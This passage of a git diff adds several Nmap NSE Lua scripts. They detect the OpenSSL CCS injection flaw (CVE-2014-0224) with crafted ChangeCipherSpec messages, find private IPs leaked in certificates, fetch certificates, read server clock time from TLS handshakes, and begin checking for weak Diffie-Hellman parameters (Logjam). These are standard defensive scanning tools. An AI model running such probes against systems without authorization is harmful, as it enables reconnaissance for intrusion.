+checking whether the server returns an 'UNEXPECTED_MESSAGE' alert record
+or not. Since a non-patched server would simply accept this message, the
+CCS packet is sent twice, in order to force an alert from the server. If
+the alert type is different than 'UNEXPECTED_MESSAGE', we can conclude
+the server is vulnerable.
+]]
+
+---
+-- @usage
+-- nmap -p 443 --script ssl-ccs-injection <target>
+--
+-- @output
+-- PORT STATE SERVICE
+-- 443/tcp open https
+-- | ssl-ccs-injection:
+-- | VULNERABLE:
+-- | SSL/TLS MITM vulnerability (CCS Injection)
+-- | State: VULNERABLE
+-- | Risk factor: High
+-- | Description:
+-- | OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before
+-- | 1.0.1h does not properly restrict processing of ChangeCipherSpec
+-- | messages, which allows man-in-the-middle attackers to trigger use
+-- | of a zero-length master key in certain OpenSSL-to-OpenSSL
+-- | communications, and consequently hijack sessions or obtain
+-- | sensitive information, via a crafted TLS handshake, aka the
+-- | "CCS Injection" vulnerability.
+-- |
+-- | References:
+-- | https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0224
+-- | http://www.cvedetails.com/cve/2014-0224
+-- |_ http://www.openssl.org/news/secadv_20140605.txt
+
+author = "Claudiu Perta <claudiu.perta@gmail.com>"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = { "vuln", "safe" }
+dependencies = {"https-redirect"}
+
+portrule = function(host, port)
+ return shortport.ssl(host, port) or sslcert.getPrepareTLSWithoutReconnect(port)
+end
+
+local Error = {
+ NOT_VULNERABLE = 0,
+ CONNECT = 1,
+ PROTOCOL_MISMATCH = 2,
+ SSL_HANDSHAKE = 3,
+ TIMEOUT = 4
+}
+
+---
+-- Reads an SSL/TLS record and returns true if it's any fatal
+-- alert and false otherwise.
+local function fatal_alert(s)
+ local status, buffer = tls.record_buffer(s)
+ if not status then
+ return false
+ end
+
+ local position, record = tls.record_read(buffer, 1)
+ if record == nil then
+ return false
+ end
+
+ if record.type ~= "alert" then
+ return false
+ end
+
+ for _, body in ipairs(record.body) do
+ if body.level == "fatal" then
+ return true
+ end
+ end
+
+ return false
+end
+
+---
+-- Reads an SSL/TLS record and returns true if it's a fatal,
+-- 'unexpected_message' alert and false otherwise.
+local function alert_unexpected_message(s)
+ local status, buffer
+ status, buffer = tls.record_buffer(s, buffer, 1)
+ if not status then
+ return false
+ end
+
+ local position, record = tls.record_read(buffer, 1)
+ if record == nil then
+ return false
+ end
+
+ if record.type ~= "alert" then
+ -- Mark this as VULNERABLE, we expect an alert record
+ return true,true
+ end
+
+ for _, body in ipairs(record.body) do
+ if body.level == "fatal" and body.description == "unexpected_message" then
+ return true,false
+ end
+ end
+
+ return true,true
+end
+
+local function test_ccs_injection(host, port, version)
+ local hello = tls.client_hello({
+ ["protocol"] = version,
+ -- Only negotiate SSLv3 on its own;
+ -- TLS implementations may refuse to answer if SSLv3 is mentioned.
+ ["record_protocol"] = (version == "SSLv3") and "SSLv3" or "TLSv1.0",
+ -- Claim to support every cipher
+ -- Doesn't work with IIS, but IIS isn't vulnerable
+ ["ciphers"] = tableaux.keys(tls.CIPHERS),
+ ["compressors"] = {"NULL"},
+ ["extensions"] = {
+ -- Claim to support common elliptic curves
+ ["elliptic_curves"] = tls.EXTENSION_HELPERS["elliptic_curves"](
+ tls.DEFAULT_ELLIPTIC_CURVES),
+ },
+ })
+
+ local status, err
+ local s
+ local specialized = sslcert.getPrepareTLSWithoutReconnect(port)
+ if specialized then
+ status, s = specialized(host, port)
+ if not status then
+ stdnse.debug3("Connection to server failed: %s", s)
+ return false, Error.CONNECT
+ end
+ else
+ s = nmap.new_socket()
+ status, err = s:connect(host, port)
+ if not status then
+ stdnse.debug3("Connection to server failed: %s", err)
+ return false, Error.CONNECT
+ end
+ end
+
+ -- Set a sufficiently large timeout
+ s:set_timeout(10000)
+
+ -- Send Client Hello to the target server
+ status, err = s:send(hello)
+ if not status then
+ stdnse.debug1("Couldn't send Client Hello: %s", err)
+ s:close()
+ return false, Error.CONNECT
+ end
+
+ -- Read response
+ local done = false
+ local i = 1
+ local response
+ repeat
+ status, response, err = tls.record_buffer(s, response, i)
+ if err == "TIMEOUT" or not status then
+ stdnse.verbose1("No response from server: %s", err)
+ s:close()
+ return false, Error.TIMEOUT
+ end
+
+ local record
+ i, record = tls.record_read(response, i)
+ if record == nil then
+ stdnse.debug1("Unknown response from server")
+ s:close()
+ return false, Error.NOT_VULNERABLE
+ elseif record.protocol ~= version then
+ stdnse.debug1("Protocol version mismatch (%s)", version)
+ s:close()
+ return false, Error.PROTOCOL_MISMATCH
+ elseif record.type == "alert" then
+ for _, body in ipairs(record.body) do
+ if body.level == "fatal" then
+ stdnse.debug1("Fatal alert: %s", body.description)
+ -- Could be something else, but this lets us retry
+ return false, Error.PROTOCOL_MISMATCH
+ end
+ end
+ end
+
+ if record.type == "handshake" then
+ for _, body in ipairs(record.body) do
+ if body.type == "server_hello_done" then
+ stdnse.debug1("Handshake completed (%s)", version)
+ done = true
+ end
+ end
+ end
+ until done
+
+ -- Send the change_cipher_spec message twice to
+ -- force an alert in the case the server is not
+ -- patched.
+
+ -- change_cipher_spec message
+ local ccs = tls.record_write(
+ "change_cipher_spec", version, "\x01")
+
+ -- Send the first ccs message
+ status, err = s:send(ccs)
+ if not status then
+ stdnse.debug1("Couldn't send first ccs message: %s", err)
+ s:close()
+ return false, Error.SSL_HANDSHAKE
+ end
+
+ -- Optimistically read the first alert message
+ -- Shorter timeout: we expect most servers will bail at this point.
+ s:set_timeout(stdnse.get_timeout(host))
+ -- If we got an alert right away, we can stop right away: it's not vulnerable.
+ if fatal_alert(s) then
+ s:close()
+ return false, Error.NOT_VULNERABLE
+ end
+ -- Restore our slow timeout
+ s:set_timeout(10000)
+
+ -- Send the second ccs message
+ status, err = s:send(ccs)
+ if not status then
+ stdnse.debug1("Couldn't send second ccs message: %s", err)
+ s:close()
+ return false, Error.SSL_HANDSHAKE
+ end
+
+ -- Read the alert message
+ local vulnerable
+ status,vulnerable = alert_unexpected_message(s)
+
+ -- Leave the target not vulnerable in case of an error. This could occur
+ -- when running against a different TLS/SSL implementations (e.g., GnuTLS)
+ if not status then
+ stdnse.debug1("Couldn't get reply from the server (probably not OpenSSL)")
+ s:close()
+ return false, Error.SSL_HANDSHAKE
+ end
+
+ if not vulnerable then
+ stdnse.debug1("Server returned UNEXPECTED_MESSAGE alert, not vulnerable")
+ s:close()
+ return false, Error.NOT_VULNERABLE
+ else
+ stdnse.debug1("Vulnerable - alert is not UNEXPECTED_MESSAGE")
+ s:close()
+ return true
+ end
+end
+
+action = function(host, port)
+ local vuln_table = {
+ title = "SSL/TLS MITM vulnerability (CCS Injection)",
+ state = vulns.STATE.NOT_VULN,
+ risk_factor = "High",
+ description = [[
+OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h
+does not properly restrict processing of ChangeCipherSpec messages,
+which allows man-in-the-middle attackers to trigger use of a zero
+length master key in certain OpenSSL-to-OpenSSL communications, and
+consequently hijack sessions or obtain sensitive information, via
+a crafted TLS handshake, aka the "CCS Injection" vulnerability.
+ ]],
+ references = {
+ 'https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0224',
+ 'http://www.cvedetails.com/cve/2014-0224',
+ 'http://www.openssl.org/news/secadv_20140605.txt'
+ }
+ }
+
+ local report = vulns.Report:new(SCRIPT_NAME, host, port)
+
+ -- client hello will support multiple versions of TLS. We only retry to fall
+ -- back to SSLv3, which some implementations won't allow in combination with
+ -- newer versions.
+ for _, tls_version in ipairs({"TLSv1.2", "SSLv3"}) do
+ local vulnerable, err = test_ccs_injection(host, port, tls_version)
+
+ -- Return an explicit message in case of a TIMEOUT,
+ -- to avoid considering this as not vulnerable.
+ if err == Error.TIMEOUT then
+ return "No reply from server (TIMEOUT)"
+ end
+
+ if err ~= Error.PROTOCOL_MISMATCH then
+ if vulnerable then
+ vuln_table.state = vulns.STATE.VULN
+ end
+ break
+ end
+ end
+
+ return report:make_output(vuln_table)
+end
diff --git a/scripts/ssl-cert-intaddr.nse b/scripts/ssl-cert-intaddr.nse
new file mode 100644
index 0000000..83bc411
--- /dev/null
+++ b/scripts/ssl-cert-intaddr.nse
@@ -0,0 +1,149 @@
+local shortport = require "shortport"
+local sslcert = require "sslcert"
+local stdnse = require "stdnse"
+local string = require "string"
+local table = require "table"
+local ipOps = require "ipOps"
+
+description = [[
+Reports any private (RFC1918) IPv4 addresses found in the various fields of
+an SSL service's certificate. These will only be reported if the target
+address itself is not private. Nmap v7.30 or later is required.
+]]
+
+---
+-- @usage
+-- nmap -p 443 --script ssl-cert-intaddr <target>
+--
+-- @output
+-- 443/tcp open https
+-- | ssl-cert-intaddr:
+-- | Subject commonName:
+-- | 10.5.5.5
+-- | Subject organizationName:
+-- | 10.0.2.1
+-- | 10.0.2.2
+-- | Issuer emailAddress:
+-- | 10.6.6.6
+-- | X509v3 Subject Alternative Name:
+-- |_ 10.3.4.5
+--
+--@xmloutput
+-- <table key="X509v3 Subject Alternative Name">
+-- <elem>10.3.4.5</elem>
+-- </table>
+--
+-- @see http-internal-ip-disclosure.nse
+-- @see ssl-cert.nse
+
+author = "Steve Benson"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"vuln", "discovery", "safe"}
+dependencies = {"https-redirect"}
+
+-- only run this script if the target host is NOT a private (RFC1918) IP address)
+-- and the port is an open SSL service
+portrule = function(host, port)
+ if ipOps.isPrivate(host.ip) then
+ stdnse.debug1("%s is a private address - skipping.", host.ip)
+ return false
+ else
+ -- same criteria as ssl-cert.nse
+ return shortport.ssl(host, port) or sslcert.isPortSupported(port) or sslcert.getPrepareTLSWithoutReconnect(port)
+ end
+end
+
+-- extracts any valid private (RFC1918) IPv4 addresses from any given string
+-- returns a table containing them or nil if there were none found
+local extractPrivateIPv4Addr = function(s)
+ stdnse.debug2(" extractIPv4Addr: %s", s)
+
+ local addrs = {}
+
+ string.gsub(s, "%f[%d][12]?%d?%d%.[12]?%d?%d%.[12]?%d?%d%.[12]?%d?%d%f[^%d]",
+ function(match)
+ stdnse.debug2(" pattern match: %s", match)
+ if ipOps.isPrivate(match) then
+ stdnse.debug2(" is private (HIT): %s", match)
+ addrs[#addrs + 1] = match
+ end
+ end)
+
+ if #addrs>0 then
+ return addrs
+ else
+ return nil
+ end
+end
+
+-- search the Subject or Issuer fields for leaked private IP addresses
+local searchCertField = function(certField, certFieldName)
+ local k,v
+ local leaks = stdnse.output_table()
+
+ if certField then
+ for k,v in pairs(certField) do
+
+ -- if the name of this X509 field is numeric object identifier
+ -- (i.e. "1.2.33.4..")
+ if type(k)=="table" then
+ k = table.concat(k, ".")
+ end
+
+ stdnse.debug2("search %s %s", certFieldName, k)
+ leaks[certFieldName.." "..k] = extractPrivateIPv4Addr(v)
+ end
+ end
+
+ return leaks
+end
+
+-- search the X509v3 extensions for leaked private IP addresses
+local searchCertExtensions = function(cert)
+ if not cert.extensions then
+ stdnse.debug1("X509v3 extensions not present in certificate or the extensions are not supported by this nmap version (7.30 or later needed)")
+ return {}
+ end
+
+ local exti, ext, _
+ local leaks = stdnse.output_table()
+
+ for _ ,ext in pairs(cert.extensions) do
+ if ext.value then
+ stdnse.debug2("search ext %s", ext.name)
+ leaks[ext.name] = extractPrivateIPv4Addr(ext.value)
+ else
+ stdnse.debug2("nosearch nil ext: %s", ext.name)
+ end
+ end
+
+ return leaks
+end
+
+action = function(host, port)
+ local ok, cert = sslcert.getCertificate(host, port)
+ if not ok then
+ stdnse.debug1("failed to obtain SSL certificate")
+ return nil
+ end
+
+ local leaks = stdnse.output_table()
+
+ for k,v in pairs(searchCertField(cert.subject, "Subject")) do
+ leaks[k] = v
+ end
+
+ for k,v in pairs(searchCertField(cert.issuer, "Issuer")) do
+ leaks[k] = v
+ end
+
+ for k,v in pairs(searchCertExtensions(cert)) do
+ leaks[k] = v
+ end
+
+ if #leaks > 0 then
+ return leaks
+ else
+ return nil
+ end
+end
diff --git a/scripts/ssl-cert.nse b/scripts/ssl-cert.nse
new file mode 100644
index 0000000..0e4ab77
--- /dev/null
+++ b/scripts/ssl-cert.nse
@@ -0,0 +1,320 @@
+local datetime = require "datetime"
+local nmap = require "nmap"
+local outlib = require "outlib"
+local shortport = require "shortport"
+local sslcert = require "sslcert"
+local stdnse = require "stdnse"
+local string = require "string"
+local table = require "table"
+local tls = require "tls"
+local unicode = require "unicode"
+local have_openssl, openssl = pcall(require, "openssl")
+
+description = [[
+Retrieves a server's SSL certificate. The amount of information printed
+about the certificate depends on the verbosity level. With no extra
+verbosity, the script prints the validity period and the commonName,
+organizationName, stateOrProvinceName, and countryName of the subject.
+
+<code>
+443/tcp open https
+| ssl-cert: Subject: commonName=www.paypal.com/organizationName=PayPal, Inc.\
+/stateOrProvinceName=California/countryName=US
+| Not valid before: 2011-03-23 00:00:00
+|_Not valid after: 2013-04-01 23:59:59
+</code>
+
+With <code>-v</code> it adds the issuer name and fingerprints.
+
+<code>
+443/tcp open https
+| ssl-cert: Subject: commonName=www.paypal.com/organizationName=PayPal, Inc.\
+/stateOrProvinceName=California/countryName=US
+| Issuer: commonName=VeriSign Class 3 Extended Validation SSL CA\
+/organizationName=VeriSign, Inc./countryName=US
+| Public Key type: rsa
+| Public Key bits: 2048
+| Signature Algorithm: sha1WithRSAEncryption
+| Not valid before: 2011-03-23 00:00:00
+| Not valid after: 2013-04-01 23:59:59
+| MD5: bf47 ceca d861 efa7 7d14 88ad 4a73 cb5b
+|_SHA-1: d846 5221 467a 0d15 3df0 9f2e af6d 4390 0213 9a68
+</code>
+
+With <code>-vv</code> it adds the PEM-encoded contents of the entire
+certificate.
+
+<code>
+443/tcp open https
+| ssl-cert: Subject: commonName=www.paypal.com/organizationName=PayPal, Inc.\
+/stateOrProvinceName=California/countryName=US/1.3.6.1.4.1.311.60.2.1.2=Delaware\
+/postalCode=95131-2021/localityName=San Jose/serialNumber=3014267\
+/streetAddress=2211 N 1st St/1.3.6.1.4.1.311.60.2.1.3=US\
+/organizationalUnitName=PayPal Production/businessCategory=Private Organization
+| Issuer: commonName=VeriSign Class 3 Extended Validation SSL CA\
+/organizationName=VeriSign, Inc./countryName=US\
+/organizationalUnitName=Terms of use at https://www.verisign.com/rpa (c)06
+| Public Key type: rsa
+| Public Key bits: 2048
+| Signature Algorithm: sha1WithRSAEncryption
+| Not valid before: 2011-03-23 00:00:00
+| Not valid after: 2013-04-01 23:59:59
+| MD5: bf47 ceca d861 efa7 7d14 88ad 4a73 cb5b
+| SHA-1: d846 5221 467a 0d15 3df0 9f2e af6d 4390 0213 9a68
+| -----BEGIN CERTIFICATE-----
+| MIIGSzCCBTOgAwIBAgIQLjOHT2/i1B7T//819qTJGDANBgkqhkiG9w0BAQUFADCB
+...
+| 9YDR12XLZeQjO1uiunCsJkDIf9/5Mqpu57pw8v1QNA==
+|_-----END CERTIFICATE-----
+</code>
+]]
+
+---
+-- @see ssl-cert-intaddr.nse
+--
+-- @output
+-- 443/tcp open https
+-- | ssl-cert: Subject: commonName=www.paypal.com/organizationName=PayPal, Inc.\
+-- /stateOrProvinceName=California/countryName=US
+-- | Not valid before: 2011-03-23 00:00:00
+-- |_Not valid after: 2013-04-01 23:59:59
+--
+-- @xmloutput
+-- <table key="subject">
+-- <elem key="1.3.6.1.4.1.311.60.2.1.2">Delaware</elem>
+-- <elem key="1.3.6.1.4.1.311.60.2.1.3">US</elem>
+-- <elem key="postalCode">95131-2021</elem>
+-- <elem key="localityName">San Jose</elem>
+-- <elem key="serialNumber">3014267</elem>
+-- <elem key="countryName">US</elem>
+-- <elem key="stateOrProvinceName">California</elem>
+-- <elem key="streetAddress">2211 N 1st St</elem>
+-- <elem key="organizationalUnitName">PayPal Production</elem>
+-- <elem key="commonName">www.paypal.com</elem>
+-- <elem key="organizationName">PayPal, Inc.</elem>
+-- <elem key="businessCategory">Private Organization</elem>
+-- </table>
+-- <table key="issuer">
+-- <elem key="organizationalUnitName">Terms of use at https://www.verisign.com/rpa (c)06</elem>
+-- <elem key="organizationName">VeriSign, Inc.</elem>
+-- <elem key="commonName">VeriSign Class 3 Extended Validation SSL CA</elem>
+-- <elem key="countryName">US</elem>
+-- </table>
+-- <table key="pubkey">
+-- <elem key="type">rsa</elem>
+-- <elem key="bits">2048</elem>
+-- <elem key="modulus">DF40CCF2C50A0D65....35B5927DF25D4DE5</elem>
+-- <elem key="exponent">65537</elem>
+-- </table>
+-- <elem key="sig_algo">sha1WithRSAEncryption</elem>
+-- <table key="validity">
+-- <elem key="notBefore">2011-03-23T00:00:00+00:00</elem>
+-- <elem key="notAfter">2013-04-01T23:59:59+00:00</elem>
+-- </table>
+-- <elem key="md5">bf47cecad861efa77d1488ad4a73cb5b</elem>
+-- <elem key="sha1">d8465221467a0d153df09f2eaf6d439002139a68</elem>
+-- <elem key="pem">-----BEGIN CERTIFICATE-----
+-- MIIGSzCCBTOgAwIBAgIQLjOHT2/i1B7T//819qTJGDANBgkqhkiG9w0BAQUFADCB
+-- ...
+-- 9YDR12XLZeQjO1uiunCsJkDIf9/5Mqpu57pw8v1QNA==
+-- -----END CERTIFICATE-----
+-- </elem>
+
+author = "David Fifield"
+
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+
+categories = { "default", "safe", "discovery" }
+dependencies = {"https-redirect"}
+
+portrule = function(host, port)
+ return shortport.ssl(host, port) or sslcert.isPortSupported(port) or sslcert.getPrepareTLSWithoutReconnect(port)
+end
+
+-- Find the index of a value in an array.
+function table_find(t, value)
+ local i, v
+ for i, v in ipairs(t) do
+ if v == value then
+ return i
+ end
+ end
+ return nil
+end
+
+function date_to_string(date)
+ if not date then
+ return "MISSING"
+ end
+ if type(date) == "string" then
+ return string.format("Can't parse; string is \"%s\"", date)
+ else
+ return datetime.format_timestamp(date)
+ end
+end
+
+-- These are the subject/issuer name fields that will be shown, in this order,
+-- without a high verbosity.
+local NON_VERBOSE_FIELDS = { "commonName", "organizationName",
+"stateOrProvinceName", "countryName" }
+
+-- Test to see if the string is UTF-16 and transcode it if possible
+local function maybe_decode(str)
+ -- If length is not even, then return as-is
+ if #str < 2 or #str % 2 == 1 then
+ return str
+ end
+ if str:byte(1) > 0 and str:byte(2) == 0 then
+ -- little-endian UTF-16
+ return unicode.transcode(str, unicode.utf16_dec, unicode.utf8_enc, false, nil)
+ elseif str:byte(1) == 0 and str:byte(2) > 0 then
+ -- big-endian UTF-16
+ return unicode.transcode(str, unicode.utf16_dec, unicode.utf8_enc, true, nil)
+ else
+ return str
+ end
+end
+
+function stringify_name(name)
+ local fields = {}
+ local _, k, v
+ if not name then
+ return nil
+ end
+ for _, k in ipairs(NON_VERBOSE_FIELDS) do
+ v = name[k]
+ if v then
+ fields[#fields + 1] = string.format("%s=%s", k, maybe_decode(v) or '')
+ end
+ end
+ if nmap.verbosity() > 1 then
+ for k, v in pairs(name) do
+ -- Don't include a field twice.
+ if not table_find(NON_VERBOSE_FIELDS, k) then
+ if type(k) == "table" then
+ k = table.concat(k, ".")
+ end
+ fields[#fields + 1] = string.format("%s=%s", k, maybe_decode(v) or '')
+ end
+ end
+ end
+ return table.concat(fields, "/")
+end
+
+local function name_to_table(name)
+ local output = {}
+ for k, v in pairs(name) do
+ if type(k) == "table" then
+ k = table.concat(k, ".")
+ end
+ output[k] = v
+ end
+ return outlib.sorted_by_key(output)
+end
+
+local function output_tab(cert)
+ if not have_openssl then
+ -- OpenSSL is required to parse the cert, so just dump the PEM
+ return {pem = cert.pem}
+ end
+ local o = stdnse.output_table()
+ o.subject = name_to_table(cert.subject)
+ o.issuer = name_to_table(cert.issuer)
+
+ o.pubkey = stdnse.output_table()
+ o.pubkey.type = cert.pubkey.type
+ o.pubkey.bits = cert.pubkey.bits
+ -- The following fields are set in nse_ssl_cert.cc and mirror those in tls.lua
+ if cert.pubkey.type == "rsa" then
+ o.pubkey.modulus = openssl.bignum_bn2hex(cert.pubkey.modulus)
+ o.pubkey.exponent = openssl.bignum_bn2dec(cert.pubkey.exponent)
+ elseif cert.pubkey.type == "ec" then
+ local params = stdnse.output_table()
+ o.pubkey.ecdhparams = {curve_params=params}
+ params.ec_curve_type = cert.pubkey.ecdhparams.curve_params.ec_curve_type
+ params.curve = cert.pubkey.ecdhparams.curve_params.curve
+ end
+
+ if cert.extensions and #cert.extensions > 0 then
+ o.extensions = {}
+ for i, v in ipairs(cert.extensions) do
+ local ext = stdnse.output_table()
+ ext.name = v.name
+ ext.value = v.value
+ ext.critical = v.critical
+ o.extensions[i] = ext
+ end
+ end
+ o.sig_algo = cert.sig_algorithm
+
+ o.validity = stdnse.output_table()
+ for i, k in ipairs({"notBefore", "notAfter"}) do
+ local v = cert.validity[k]
+ if type(v)=="string" then
+ o.validity[k] = v
+ else
+ o.validity[k] = datetime.format_timestamp(v)
+ end
+ end
+ o.md5 = stdnse.tohex(cert:digest("md5"))
+ o.sha1 = stdnse.tohex(cert:digest("sha1"))
+ o.pem = cert.pem
+ return o
+end
+
+local function output_str(cert)
+ if not have_openssl then
+ -- OpenSSL is required to parse the cert, so just dump the PEM
+ return "OpenSSL required to parse certificate.\n" .. cert.pem
+ end
+ local lines = {}
+
+ lines[#lines + 1] = "Subject: " .. stringify_name(cert.subject)
+ if cert.extensions then
+ for _, e in ipairs(cert.extensions) do
+ if e.name == "X509v3 Subject Alternative Name" then
+ lines[#lines + 1] = "Subject Alternative Name: " .. e.value
+ break
+ end
+ end
+ end
+
+ if nmap.verbosity() > 0 then
+ lines[#lines + 1] = "Issuer: " .. stringify_name(cert.issuer)
+ end
+
+ if nmap.verbosity() > 0 then
+ lines[#lines + 1] = "Public Key type: " .. cert.pubkey.type
+ lines[#lines + 1] = "Public Key bits: " .. cert.pubkey.bits
+ lines[#lines + 1] = "Signature Algorithm: " .. cert.sig_algorithm
+ end
+
+ lines[#lines + 1] = "Not valid before: " ..
+ date_to_string(cert.validity.notBefore)
+ lines[#lines + 1] = "Not valid after: " ..
+ date_to_string(cert.validity.notAfter)
+
+ if nmap.verbosity() > 0 then
+ lines[#lines + 1] = "MD5: " .. stdnse.tohex(cert:digest("md5"), { separator = " ", group = 4 })
+ lines[#lines + 1] = "SHA-1: " .. stdnse.tohex(cert:digest("sha1"), { separator = " ", group = 4 })
+ end
+
+ if nmap.verbosity() > 1 then
+ lines[#lines + 1] = cert.pem
+ end
+ return table.concat(lines, "\n")
+end
+
+action = function(host, port)
+ host.targetname = tls.servername(host)
+ local status, cert = sslcert.getCertificate(host, port)
+ if ( not(status) ) then
+ stdnse.debug1("getCertificate error: %s", cert or "unknown")
+ return
+ end
+
+ return output_tab(cert), output_str(cert)
+end
+
+
+
diff --git a/scripts/ssl-date.nse b/scripts/ssl-date.nse
new file mode 100644
index 0000000..6666305
--- /dev/null
+++ b/scripts/ssl-date.nse
@@ -0,0 +1,215 @@
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+local math = require "math"
+local nmap = require "nmap"
+local os = require "os"
+local string = require "string"
+local sslcert = require "sslcert"
+local tls = require "tls"
+local datetime = require "datetime"
+
+description = [[
+Retrieves a target host's time and date from its TLS ServerHello response.
+
+
+In many TLS implementations, the first four bytes of server randomness
+are a Unix timestamp. The script will test whether this is indeed true
+and report the time only if it passes this test.
+
+Original idea by Jacob Appelbaum and his TeaTime and tlsdate tools:
+* https://github.com/ioerror/TeaTime
+* https://github.com/ioerror/tlsdate
+]]
+
+---
+-- @usage
+-- nmap <target> --script=ssl-date
+--
+-- @output
+-- PORT STATE SERVICE REASON
+-- 5222/tcp open xmpp-client syn-ack
+-- |_ssl-date: 2012-08-02T18:29:31Z; +4s from local time.
+--
+-- @xmloutput
+-- <elem key="date">2012-08-02T18:29:31+00:00</elem>
+-- <elem key="delta">4</elem>
+
+author = {"Aleksandar Nikolic", "nnposter"}
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"discovery", "safe", "default"}
+dependencies = {"https-redirect"}
+
+portrule = function(host, port)
+ return shortport.ssl(host, port) or sslcert.getPrepareTLSWithoutReconnect(port)
+end
+
+-- Miscellaneous script-wide constants
+local conn_timeout = 5 -- connection timeout (seconds)
+local max_clock_skew = 90*60 -- maximum acceptable difference between target
+ -- and scanner clocks to avoid additional
+ -- testing (seconds)
+local max_clock_jitter = 5 -- maximum acceptable target clock jitter
+ -- Logically should be 50-100% of conn_timeout
+ -- (seconds)
+local detail_debug = 2 -- debug level for printing detailed steps
+
+
+--- Function that sends a client hello packet
+-- target host and returns the response
+--@args host The target host table.
+--@args port The target port table.
+--@return status true if response, false else.
+--@return response if status is true.
+local client_hello = function(host, port)
+ local sock, status, response, err, cli_h
+
+ -- Craft Client Hello
+ cli_h = tls.client_hello()
+
+ -- Connect to the target server
+ local specialized_function = sslcert.getPrepareTLSWithoutReconnect(port)
+
+ if not specialized_function then
+ sock = nmap.new_socket()
+ sock:set_timeout(1000 * conn_timeout)
+ status, err = sock:connect(host, port)
+ if not status then
+ sock:close()
+ stdnse.debug("Can't connect: %s", err)
+ return false
+ end
+ else
+ status,sock = specialized_function(host,port)
+ if not status then
+ return false
+ end
+ end
+
+
+ repeat -- only once
+ -- Send Client Hello to the target server
+ status, err = sock:send(cli_h)
+ if not status then
+ stdnse.debug("Couldn't send: %s", err)
+ break
+ end
+
+ -- Read response
+ status, response, err = tls.record_buffer(sock)
+ if not status then
+ stdnse.debug("Couldn't receive: %s", err)
+ break
+ end
+ until true
+
+ sock:close()
+ return status, response
+end
+
+-- extract time from ServerHello response
+local extract_time = function(response)
+ local i, record = tls.record_read(response, 1)
+ if record == nil then
+ stdnse.debug("Unknown response from server")
+ return nil
+ end
+
+ if record.type == "handshake" then
+ for _, body in ipairs(record.body) do
+ if body.type == "server_hello" then
+ return true, body.time
+ end
+ end
+ end
+ stdnse.debug("Server response was not server_hello")
+ return nil
+end
+
+
+---
+-- Retrieve a timestamp from a TLS port and compare it to the scanner clock
+--
+-- @param host TLS host
+-- @param port TLS port
+-- @return Timestamp sample object or nil (if the operation failed)
+local get_time_sample = function (host, port)
+ -- Send crafted client hello
+ local rstatus, response = client_hello(host, port)
+ local stm = os.time()
+ if not (rstatus and response) then return nil end
+ -- extract time from response
+ local tstatus, ttm = extract_time(response)
+ if not tstatus then return nil end
+ stdnse.debug(detail_debug, "TLS sample: %s", datetime.format_timestamp(ttm, 0))
+ return {target=ttm, scanner=stm, delta=os.difftime(ttm, stm)}
+end
+
+
+local result = { STAGNANT = "stagnant",
+ ACCEPTED = "accepted",
+ REJECTED = "rejected" }
+
+---
+-- Obtain a new timestamp sample and validate it against a reference sample
+--
+-- @param host TLS host
+-- @param port TLS port
+-- @param reftm Reference timestamp sample
+-- @return Result code
+-- @return New timestamp sample object or nil (if the operation failed)
+local test_time_sample = function (host, port, reftm)
+ local tm = get_time_sample(host, port)
+ if not tm then return nil end
+ local tchange = os.difftime(tm.target, reftm.target)
+ local schange = os.difftime(tm.scanner, reftm.scanner)
+ local status =
+ -- clock cannot run backwards or drift rapidly
+ (tchange < 0 or math.abs(tchange - schange) > max_clock_jitter)
+ and result.REJECTED
+ -- the clock did not advance
+ or tchange == 0
+ and result.STAGNANT
+ -- plausible enough
+ or result.ACCEPTED
+ stdnse.debug(detail_debug, "TLS sample verdict: %s", status)
+ return status, tm
+end
+
+
+action = function(host, port)
+ local tm = get_time_sample(host, port)
+ if not tm then
+ return stdnse.format_output(false, "Unable to obtain data from the target")
+ end
+ if math.abs(tm.delta) > max_clock_skew then
+ -- The target clock differs substantially from the scanner
+ -- Let's take another sample to eliminate cases where the TLS field
+ -- contains either random or fixed data instead of the timestamp
+ local reftm = tm
+ local status
+ status, tm = test_time_sample(host, port, reftm)
+ if status and status == result.STAGNANT then
+ -- The target clock did not advance between the two samples (reftm, tm)
+ -- Let's wait long enough for the target clock to advance
+ -- and then re-take the second sample
+ stdnse.sleep(1.1)
+ status, tm = test_time_sample(host, port, reftm)
+ end
+ if not status then
+ return nil
+ end
+ if status ~= result.ACCEPTED then
+ return {}, "TLS randomness does not represent time"
+ end
+ end
+
+ datetime.record_skew(host, tm.target, tm.scanner)
+ local output = {
+ date = datetime.format_timestamp(tm.target, 0),
+ delta = tm.delta,
+ }
+ return output,
+ string.format("%s; %s from scanner time.", output.date,
+ datetime.format_difftime(os.date("!*t", tm.target),
+ os.date("!*t", tm.scanner)))
+end
diff --git a/scripts/ssl-dh-params.nse b/scripts/ssl-dh-params.nse
new file mode 100644
index 0000000..bf2bde5
--- /dev/null
+++ b/scripts/ssl-dh-params.nse
@@ -0,0 +1,941 @@
+local nmap = require "nmap"
+local shortport = require "shortport"
+local sslcert = require "sslcert"
+local stdnse = require "stdnse"
+local string = require "string"
+local math = require "math"
+local table = require "table"
+local tls = require "tls"
+local vulns = require "vulns"
+local have_ssl, openssl = pcall(require, "openssl")
+
+description = [[
+Weak ephemeral Diffie-Hellman parameter detection for SSL/TLS services.
+
+This script simulates SSL/TLS handshakes using ciphersuites that have ephemeral
+Diffie-Hellman as the key exchange algorithm.
+
+Diffie-Hellman MODP group parameters are extracted and analyzed for vulnerability
+to Logjam (CVE 2015-4000) and other weaknesses.
+
+Opportunistic STARTTLS sessions are established on services that support them.
+]]
+
+---
+-- @usage
+-- nmap --script ssl-dh-params <target>
+--
+-- @output
+-- Host script results:
+-- | ssl-dh-params:
+-- | VULNERABLE:
+-- | Transport Layer Security (TLS) Protocol DHE_EXPORT Ciphers Downgrade MitM (Logjam)
+-- | State: VULNERABLE
+-- | IDs: BID:74733 CVE:CVE-2015-4000
+-- | The Transport Layer Security (TLS) protocol contains a flaw that is triggered
+-- | when handling Diffie-Hellman key exchanges defined with the DHE_EXPORT cipher.
